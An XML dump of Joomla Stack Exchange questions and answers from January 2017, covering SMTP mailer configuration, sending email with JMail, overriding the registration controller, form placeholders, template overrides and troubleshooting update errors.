  <row Id="18769" PostTypeId="2" ParentId="18751" CreationDate="2017-01-04T15:06:42.363" Score="1" Body="&lt;h2&gt;Option 1:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order for you to use the SMTP option in Joomla! on your local installation, you will need an SMTP service installed on that PC listening to port 25 (or whatever port you assign).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not have an SMTP service running on your PC (which you likely do not), you can change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $mailer = 'smtp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $mailer = 'mail';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will set your Joomla! installation to use the PHP mailer (which you already have if you're running Joomla! locally). You can leave all of your other SMTP settings intact as they will not be used. Once you are ready to push the site to the web server, you can change &lt;code&gt;mail&lt;/code&gt; back to &lt;code&gt;smtp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Option 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you need to test SMTP functionality while running the J! site locally, you will need to obtain the IP address of the web server running your SMTP service. So, if your web server's IP address is &lt;code&gt;55.55.55.55&lt;/code&gt;, then you would change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $smtphost = 'localhost';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $smtphost = '55.55.55.55';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that your PC is talking to the mail/web server instead of your local PC when it comes time to send messages. &lt;strong&gt;These same settings will work no matter the location of your J! site&lt;/strong&gt; as the site will always be talking to the same server.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;WARNING:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the settings in your post work for &lt;em&gt;ANY&lt;/em&gt; server, then I would &lt;strong&gt;&lt;em&gt;abandon that server immediately&lt;/em&gt;&lt;/strong&gt;! Since it does not require authorization to send (&lt;code&gt;public $smtpauth = '0';&lt;/code&gt;), &lt;em&gt;anyone with the IP address&lt;/em&gt; of your server will be able to &lt;em&gt;send unlimited numbers of SPAM messages&lt;/em&gt;. If this is actually the case, moving to an SMTP service like &lt;a href=&quot;https://aws.amazon.com/ses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amazon SES&lt;/a&gt; may be your best bet (they have a large &lt;a href=&quot;https://aws.amazon.com/ses/pricing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;free tier&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-01-04T18:24:46.860" LastActivityDate="2017-01-04T18:24:46.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18770" PostTypeId="5" CreationDate="2017-01-04T15:28:12.170" Score="0" Body="&lt;h1&gt;Sending email from extensions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is an example of how to send an email from a Joomla component. You would typically put this into your component's controller.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fetch the Mail Object&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A reference to the global mail object (JMail) is fetched through the JFactory object. This is the object creating our mail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Set a Sender&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The sender of an email is set with &lt;a href=&quot;http://api.joomla.org/Joomla-Framework/Mail/JMail.html#setSender&quot; rel=&quot;nofollow noreferrer&quot;&gt;setSender&lt;/a&gt;. The function takes an array with an email address and a name as an argument. We fetch the site's email address and name from the global configuration. These are set in the administration back-end (Global Configuration -&gt; Server -&gt; Mail Settings).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$sender = array( &#xA;    $config-&amp;gt;get( 'mailfrom' ),&#xA;    $config-&amp;gt;get( 'fromname' ) &#xA;);&#xA;&#xA;$mailer-&amp;gt;setSender($sender);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In 3.1, $config-&gt;getValue() should be changed to $config-&gt;get()&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Recipient&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You set the recipient of an email with the function &lt;a href=&quot;http://api.joomla.org/1.5/Joomla-Framework/Mail/JMail.html#&quot; rel=&quot;nofollow noreferrer&quot;&gt;addRecipient&lt;/a&gt;. To set the email address to the currently logged in user, we fetch it from the user object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$recipient = $user-&amp;gt;email;&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we had multiple recipients, we would put each recipient's email address in an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipient = array( 'person1@domain.com', 'person2@domain.com', 'person3@domain.com' );&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Create the Mail&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We need to set a subject line and create the text body. The subject is set with &lt;a href=&quot;http://api.joomla.org/Joomla-Framework/Mail/JMail.html#setSubject&quot; rel=&quot;nofollow noreferrer&quot;&gt;setSubject&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way to create an email body is as a string with plain text. Use the function &lt;a href=&quot;http://api.joomla.org/Joomla-Framework/Mail/JMail.html#setBody&quot; rel=&quot;nofollow noreferrer&quot;&gt;setBody&lt;/a&gt; to add a message to the mail body. You can also attach a file with &lt;a href=&quot;http://api.joomla.org/Joomla-Framework/Mail/JMail.html#addAttachment&quot; rel=&quot;nofollow noreferrer&quot;&gt;addAttachment&lt;/a&gt;. It takes a single file name or an array of file names as the argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body   = &quot;Your body string\nin double quotes if you want to parse the \nnewlines etc&quot;;&#xA;$mailer-&amp;gt;setSubject('Your subject string');&#xA;$mailer-&amp;gt;setBody($body);&#xA;// Optional file attached&#xA;$mailer-&amp;gt;addAttachment(JPATH_COMPONENT.'/assets/document.pdf');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you prefer to format your email in HTML, you need to tell the mailer it is HTML. This is done with &lt;a href=&quot;http://api.joomla.org/Unknown/PHPMailer.html#methodIsHTML&quot; rel=&quot;nofollow noreferrer&quot;&gt;IsHTML&lt;/a&gt;. When sending HTML emails you should normally set the &lt;a href=&quot;http://api.joomla.org/Unknown/PHPMailer.html#$Encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;Encoding&lt;/a&gt; to base64 in order to avoid unwanted characters in the output. The subject line and any attachments are handled as above, with the exception of images embedded in the HTML. These are taken care of with the function &lt;a href=&quot;http://api.joomla.org/Unknown/PHPMailer.html#AddEmbeddedImage&quot; rel=&quot;nofollow noreferrer&quot;&gt;AddEmbeddedImage&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body   = '&amp;lt;h2&amp;gt;Our mail&amp;lt;/h2&amp;gt;'&#xA;    . '&amp;lt;div&amp;gt;A message to our dear readers'&#xA;    . '&amp;lt;img src=&quot;cid:logo_id&quot; alt=&quot;logo&quot;/&amp;gt;&amp;lt;/div&amp;gt;';&#xA;$mailer-&amp;gt;isHTML(true);&#xA;$mailer-&amp;gt;Encoding = 'base64';&#xA;$mailer-&amp;gt;setBody($body);&#xA;// Optionally add embedded image&#xA;$mailer-&amp;gt;AddEmbeddedImage( JPATH_COMPONENT.'/assets/logo128.jpg', 'logo_id', 'logo.jpg', 'base64', 'image/jpeg' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally you would leave any images on your server and refer to them with an ordinary HTML image tag, to reduce size of the mail and the time sending it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sending the Mail&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The mail is sent with the function &lt;a href=&quot;http://api.joomla.org/Joomla-Framework/Mail/JMail.html#Send&quot; rel=&quot;nofollow noreferrer&quot;&gt;Send&lt;/a&gt;. It returns &lt;strong&gt;true&lt;/strong&gt; on success or a JError object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$send = $mailer-&amp;gt;Send();&#xA;if ( $send !== true ) {&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;} else {&#xA;    echo 'Mail sent';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would probably want to write your own error handler, if there is an error sending the mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JMail object is used for sending mail in Joomla's contact manager. See the file &lt;em&gt;joomla/components/com_contact/controller.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;See also&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.joomla.org/Joomla-Platform/JFactory.html#getMailer&quot; rel=&quot;nofollow noreferrer&quot;&gt;JFactory-&gt;getMailer on api.joomla.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-01-05T11:55:59.623" LastActivityDate="2017-01-05T11:55:59.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18771" PostTypeId="4" CreationDate="2017-01-04T15:28:12.170" Score="0" Body="Email Class. Provides a common interface to send email from the Joomla! Platform. Extends \PHPMailer." OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-01-05T11:56:13.473" LastActivityDate="2017-01-05T11:56:13.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18772" PostTypeId="2" ParentId="18751" CreationDate="2017-01-04T16:52:04.817" Score="1" Body="&lt;p&gt;I also noticed your password and username were empty in the configurations you posted: essentially, you do not actually have SMTP and as Michael's warning states, your previous host was actually just allowing you to send without any authorization and creating a security vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A host will have documentation on their SMTP requirements and settings. Your localhost is a little more up in the air, and may not even allow for the PHP mail settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer: Sign up for an SMTP Service and use those credentials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use &lt;a href=&quot;http://sendgrid.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SendGrid&lt;/a&gt; for this due to the high volume of sites we maintain. However, there's a free version for single accounts (it is called Trial, but it is not limited by time, only by number of emails), and they have plenty of documentation. The default settings, that should work for your Joomla install on a localhost are as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change your SMTP username and password to your SendGrid credentials,&#xA;  set the server host name to smtp.sendgrid.net, use ports 25 or 587 for&#xA;  plain/TLS connections and port 465 for SSL connections&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've found that on Joomla 3.0.0 - 3.4.x that 465 SSL was the best solution, but 3.5.x and up needed port 587 and a plain connection. Of course that was all subject to the host, but a good host will have documentation to help you find the right settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't recommend them enough. We've gone up and down and around the bend on SMTP for Joomla and Wordpress, and SendGrid is the customizable solution that can fit any situation.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2017-01-04T22:10:26.870" LastActivityDate="2017-01-04T22:10:26.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18773" PostTypeId="2" ParentId="18476" CreationDate="2017-01-04T23:10:11.833" Score="0" Body="&lt;p&gt;As suggested by @webchun, it is probably easiest to use a &lt;a href=&quot;https://extensions.joomla.org/category/directory-a-documentation/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;downloads extension&lt;/a&gt; although there are solutions to this issue if you are comfortable with coding something yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, see &lt;a href=&quot;https://stackoverflow.com/q/22771822/1983389&quot;&gt;prevent direct access to PDF link for guest users&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-01-04T23:10:11.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18774" PostTypeId="1" AcceptedAnswerId="18799" CreationDate="2017-01-05T12:21:06.667" Score="5" ViewCount="1020" Body="&lt;p&gt;I'm a developer and I am very confident with &lt;strong&gt;MVC patterns&lt;/strong&gt; and have already developed a lot of web apps from scratch using &lt;code&gt;PHP&lt;/code&gt; frameworks like &lt;code&gt;symfony&lt;/code&gt; and &lt;code&gt;yii&lt;/code&gt;. However, I'm a little bit confused about Joomla MVC and terminology. Even after googling a lot, reading Joomla book extension guides, and reading Joomla websites I'm still confused. What is confusing for me is the component MVC structure and how I have to set up &quot;my way of thinking&quot; about Joomla MVC, for doing things in the Joomla way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular I am used to reasoning in terms of controller/action (like in symfony and yii framework)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final list of all my webapp url will be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; controller1/action1&#xA; controller1/action2&#xA; controller1/action3&#xA;&#xA; controller2/action1&#xA; controller2/action2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each controller's action will decide what view to render and what layout to use for showing the view.&#xA;In particular in these frameworks, the definition of a layout is exactly the meaning of a layout. And the view is the &quot;core part&quot; of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can have a view with a list of users and I can put this view inside a mobile layout or a desktop layout, or to build a view for mobile and put it only in the mobile layout and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final result of the directory structure in my webapp is something similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; controllers/&#xA;    controller1&#xA;    controller2&#xA;    controller3&#xA;models/&#xA;    modelForTableA&#xA;    modelForTableB&#xA;views/&#xA;   controller1/&#xA;     viewForAction1&#xA;     viewForAction2&#xA;layouts/&#xA;    mobileLayout.php&#xA;    desktopLayout.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for me it is very clear to understand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So finally my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what would be the directory structure in joomla?&lt;/li&gt;&#xA;&lt;li&gt;what is the definition of view, layout and task in Joomla?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need to clarify that I do not need an explanation about MVC works in general, but if I could achieve the same result as before, how do I have to organize my code and my work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that I want to build a component with the following &quot;url&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;userController/addUser&#xA;userController/editUser&#xA;userController/listUsers&#xA;userController/viewUserDetail&#xA;&#xA;anotherController/addOperation&#xA;anotherController/editOperation&#xA;anotherController/myNonCrudOperation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="9509" LastEditorUserId="115" LastEditDate="2017-01-06T00:22:47.313" LastActivityDate="2017-01-08T17:13:10.627" Title="Joomla Terminology: view, layout, task and component development" Tags="|custom-component|mvc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18775" PostTypeId="2" ParentId="4215" CreationDate="2017-01-05T14:28:54.527" Score="2" Body="&lt;p&gt;I check if the content from any module from the given module position is empty or not. Combined it with &lt;strong&gt;$this-&gt;countModules()&lt;/strong&gt;: the module position is just displayed when there are modules and the content is not empty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modulesHaveContent( $position ) {  &#xA;    $modules = JModuleHelper::getModules( $position );&#xA;&#xA;    foreach($modules as $module) {&#xA;        if (!empty($module-&amp;gt;content)) {&#xA;            $moduleHasContent = true;&#xA;        }&#xA;    }&#xA;&#xA;    return $moduleHasContent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2017-01-05T14:28:54.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18776" PostTypeId="2" ParentId="15182" CreationDate="2017-01-05T15:53:46.080" Score="2" Body="&lt;p&gt;You can create another Registration controller and override the register() behavior.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class UsersControllerRegistration2 extends UsersController&#xA;{&#xA;    public function register()&#xA;    {&#xA;        ...&#xA;        $requestData = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;        $requestData['name'] = $requestData['firstname'].' '.$requestData['lastname'];&#xA;        ...&#xA;        $data   = $model-&amp;gt;validate($form, $requestData);&#xA;        ...&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the missing parts of this register() method in the original method. Name this new controller file registration2.php and put it in the &lt;strong&gt;components/com_users/controllers/&lt;/strong&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your registration form, you have to change the action target and the task input (change it by overriding the registration view on your template).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form id=&quot;member-registration&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;task=registration2.register'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate form-horizontal well&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA; ...&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;registration2.register&quot; /&amp;gt;&#xA; ...&#xA; &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I didn't forget details, it should work and without modifying any core files.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2017-01-05T15:53:46.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18777" PostTypeId="1" AcceptedAnswerId="18778" CreationDate="2017-01-05T17:25:24.320" Score="0" ViewCount="1408" Body="&lt;p&gt;I seem to have a major problem in the back-end of my site, but I am stumped as to where to fix it. When I try to update my site from J3.4.8 to 3.6.5 with the Joomla!Update component, the screen freezes at the &quot;Updating your Joomla files.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to update the site directly by uploading the Joomla 3.6.5 package file from Extension Manager, but I get error &quot;JInstaller: :Install: Can't find XML setup file.&quot; I have tried to install the update from the tmp directory, but I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I can make no updates to my site. When I try to open an article, I get this error: &quot;Fatal error: Call to a member function getTable() on boolean in E:\xampp\htdocs\ddauto\libraries\legacy\controller\form.php on line 366&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to change a setting in Global Configuration, I get this error: &quot;JForm::validateField() rule &lt;code&gt;number&lt;/code&gt; missing.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be greatly appreciated! I downloaded a backup of this site to my local xampp file to work on, but these are the same errors I was getting on my live site.&lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="126" LastEditDate="2017-01-26T13:24:39.833" LastActivityDate="2017-01-26T13:24:39.833" Title="Issues updating from Joomla 3.4.8 to 3.6.5" Tags="|joomla-3.x|joomla-3.4|update|xml|fatal-error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18778" PostTypeId="2" ParentId="18777" CreationDate="2017-01-05T18:31:07.413" Score="2" Body="&lt;p&gt;We don't have the full information and historical of your site and it's not clear if the update you have is prior to any update attempts. Also, it's not clear if any of your issues existed before your last attempts to update or if there were issues - maybe hidden ones- before than. &#xA;What it looks like is that you have ended up with a broken/corrupted/semi-updated website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment what I would suggest is to replace all Joomla core files with a confirmed non-corrupted version of them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download a copy of your site to your computer.  &lt;/li&gt;&#xA;&lt;li&gt;Download a fresh Joomla archive and unzip it.  &lt;/li&gt;&#xA;&lt;li&gt;Replace one by one all the Joomla core files/folders - but make sure you won't replace any 3rd party extensions/files/patches/custom files etc.   &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pay special attention to the components/modules both in admin site and the front-end site, the plugins, templates, media and also the libraries folder, as these are locations where 3rd party files exist. This is what I usually do in such case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Example #1:&lt;br&gt;&#xA;From the Fresh Joomla files, in administrator/components I grab all the contents of the components folder (the individual components folder) and I drop them in my site's administrator/components/ folder to replace all the core components in there - leaving intact the 3rd party ones.&lt;/li&gt;&#xA;&lt;li&gt;Example #2&#xA;From the fresh Joomla files plugins folder, I browse each plugins subfolder (content, system, search etc) and grab the plugins folders that exist in there and drop them on my site's corresponding plugin's folder to replace the core plugins - leaving intact any 3rd party ones.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's also possible of course if you have all the 3rd party extensions that you are using at the same version of your sites available to simply replace everything (your site's files/folders) with the fresh Joomla files/folders and then install the extensions, add your other custom files etc. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whatever the method of replacement, you aim to end up with a confirmed non-corrupted version of Joomla, and all of your other extensions/custom files in place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;When this is done, you connect with your database, go to the &lt;strong&gt;extensions-&gt;manage -&gt; check database utility&lt;/strong&gt;, to confirm all Joomla core db schemas are up to date with the installed version of your files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-25T18:36:27.480" LastActivityDate="2017-01-25T18:36:27.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18779" PostTypeId="1" CreationDate="2017-01-06T09:36:30.733" Score="2" ViewCount="70" Body="&lt;p&gt;I want to know how much time did a student spent on reading or viewing a topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to know? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me&lt;/p&gt;&#xA;" OwnerUserId="9513" LastEditorUserId="126" LastEditDate="2017-01-09T17:51:10.273" LastActivityDate="2017-01-09T20:06:29.270" Title="Is it possible to know the time spent by a student on a particular topic?" Tags="|joomla-3.x|user|features|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18780" PostTypeId="1" CreationDate="2017-01-06T11:36:47.880" Score="0" ViewCount="949" Body="&lt;p&gt;I am creating one Joomla project where I need customize registration and login page and as per clients design I have to put Placeholder in text box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone guide me. How i can do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to achieve this by overriding com_users component.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="9327" LastEditDate="2017-01-06T11:43:56.987" LastActivityDate="2017-01-07T06:54:09.453" Title="How to add Placeholder to Joomla User registration frontside screen" Tags="|joomla-3.x|component|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18784" PostTypeId="2" ParentId="18780" CreationDate="2017-01-07T06:54:09.453" Score="1" Body="&lt;p&gt;Add &quot;hint&quot; to &quot;registration.xml&quot; (components\com_users\models\forms\registration.xml)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            name=&quot;name&quot;&#xA;            type=&quot;text&quot;&#xA;            description=&quot;COM_USERS_REGISTER_NAME_DESC&quot;&#xA;            filter=&quot;string&quot;&#xA;            label=&quot;COM_USERS_REGISTER_NAME_LABEL&quot;&#xA;            required=&quot;true&quot;&#xA;            size=&quot;30&quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            name=&quot;name&quot;&#xA;            type=&quot;text&quot;&#xA;            description=&quot;COM_USERS_REGISTER_NAME_DESC&quot;&#xA;            filter=&quot;string&quot;&#xA;            label=&quot;COM_USERS_REGISTER_NAME_LABEL&quot;&#xA;            required=&quot;true&quot;&#xA;            size=&quot;30&quot;&#xA;            hint=&quot;Enter your name here . . &quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9517" LastActivityDate="2017-01-07T06:54:09.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18785" PostTypeId="1" AcceptedAnswerId="18786" CreationDate="2017-01-07T07:20:32.583" Score="3" ViewCount="2801" Body="&lt;p&gt;How i can hide &lt;strong&gt;full/intro&lt;/strong&gt; text from blog layout? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose &quot;&lt;strong&gt;Hide&lt;/strong&gt;&quot; from &quot;&lt;strong&gt;Show intro text&lt;/strong&gt;&quot;, but it didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.x&lt;/p&gt;&#xA;" OwnerUserId="9517" LastEditorUserId="115" LastEditDate="2017-01-07T12:17:21.203" LastActivityDate="2017-01-07T12:17:21.203" Title="Hide full text or intro text from blog layout" Tags="|joomla-3.x|category-blog|intro-text|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18786" PostTypeId="2" ParentId="18785" CreationDate="2017-01-07T10:18:19.863" Score="3" Body="&lt;p&gt;The option to hide intro text means hide it in the full article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful when you want to create an intro text for the category view that is different in the full view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method to hide the intro text from blog layout is creating an override in your template. Follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- Copy file from components/com_content/views/category/tmpl/blog_item.php to templates/YOUR_TEMPLATE_NAME/html/com_content/category/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.- Remove the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this info helps you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="8577" LastEditorUserId="8577" LastEditDate="2017-01-07T10:30:30.793" LastActivityDate="2017-01-07T10:30:30.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18787" PostTypeId="2" ParentId="18785" CreationDate="2017-01-07T10:22:11.713" Score="2" Body="&lt;p&gt;The show intro text is meant for the article view not the blog layout. With hide intro text you can have a special intro text for your article, that can be hidden when you go to read the full article in the article view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can alway create template overrides to create any special layout you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search you can find many resources about creating custom layouts with template overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use article modules to display the content you want the way you want (or better each particular module provides as option).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-07T10:22:11.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18788" PostTypeId="1" CreationDate="2017-01-07T12:05:58.230" Score="2" ViewCount="2111" Body="&lt;p&gt;I' m trying to login in Joomla Administrator (Joomla 3.5) and I am getting this error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function isAdmin() on null in&#xA;  /var/www/html/plugins/system/stats/stats.php on line 87&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I searched about this error but found nothing helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any help or suggestion will be appreciated.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9519" LastEditorUserId="126" LastEditDate="2017-01-09T17:49:20.387" LastActivityDate="2017-07-18T14:05:38.873" Title="Joomla administrator error Call to a member function isAdmin() on null" Tags="|joomla-3.x|php|administrator|joomla-3.5|fatal-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
